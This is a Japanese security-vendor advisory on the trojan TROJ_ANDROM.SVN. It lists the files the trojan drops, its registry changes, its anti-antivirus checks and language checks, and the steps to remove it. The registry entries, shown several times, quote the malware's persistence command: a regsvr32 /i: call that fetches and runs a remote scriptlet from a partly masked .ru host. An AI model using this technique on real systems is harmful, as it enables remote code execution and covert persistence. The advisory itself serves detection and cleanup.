解析者: Byron Jon Gelera   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

トレンドマイクロは、このマルウェアをNoteworthy(要注意)に分類しました。

このマルウェアは、2017年8月初旬に確認された、物理的にファイルを利用せずに侵入したコンピュータに、バックドア型マルウェアをインストールする攻撃に関係しています。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

  詳細

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

  • %Application Data%\ee{8 random characters}.exe
  • %User Startup%\{1 random character}.lnk ← points to ee{8 random characters}.exe

(註:%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\<ユーザ名>\AppData\Roaming" です。.. %User Startup%フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\<ユーザ名>\Start Menu\Programs\Startup" 、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、" C:\Users\<ユーザ名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" です。.)

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

  • Global\msiff0x1

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll"

HKEY_CURRENT_USER\Keyboard Layout
2 = {hex value}

HKEY_CURRENT_USER\SOftware\Microsoft\
Windows
{Volume Serial Number} = {hex value}

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

その他

マルウェアが自身の不正活動を実行するためには、以下のファイルが必要になります。

  • {Malware Path}\IndexerVolumeGuid

マルウェアは、以下のプロセスの存在を確認します。

  • avp.exe ← performs infinite sleep if found

マルウェアが作成する以下のファイルは、"ee{8 random characters}.exe"へ誘導するファイルです。

  • %User Startup%\{1 random character}.lnk

マルウェアは、以下のプロセスの存在が確認された場合、無限にスリープを実行します。

  • avp.exe

マルウェアは以下のコマンドを実行します。

  • Explorer.exe /n,"{Drive Letter where malware is executed}:\"
  • cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:R
  • cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:W
システム言語が以下のいずれかの場合、マルウェアは自身の活動を実行しません。
  • ロシア語
  • ウクライナ語
  • ベラルーシ語
  • カザフ語

マルウェアは、自身のファイル名を利用してコンポーネントファイル"IndexerVolumeGuid"を復号します。

Windows 10や Windows Server 2016上で実行された場合、マルウェアはファイルの作成は実行せず、以下のレジストリ値を作成します。

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。

  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 13.584.04
初回 VSAPI パターンリリース日 2017年8月9日
VSAPI OPR パターンバージョン 13.585.00
VSAPI OPR パターンリリース日 2017年8月10日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

「TROJ_ANDROM.SVN」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 4

このレジストリ値を削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll
  • In HKEY_CURRENT_USER\Keyboard Layout
    • 2 = {hex value}
  • In HKEY_CURRENT_USER\SOftware\Microsoft\Windows
    • {Volume Serial Number} = {hex value}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  
  • %Application Data%\ee{8 random characters}.exe
  • %User Startup%\{1 random character}.lnk

手順 6

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TROJ_ANDROM.SVN」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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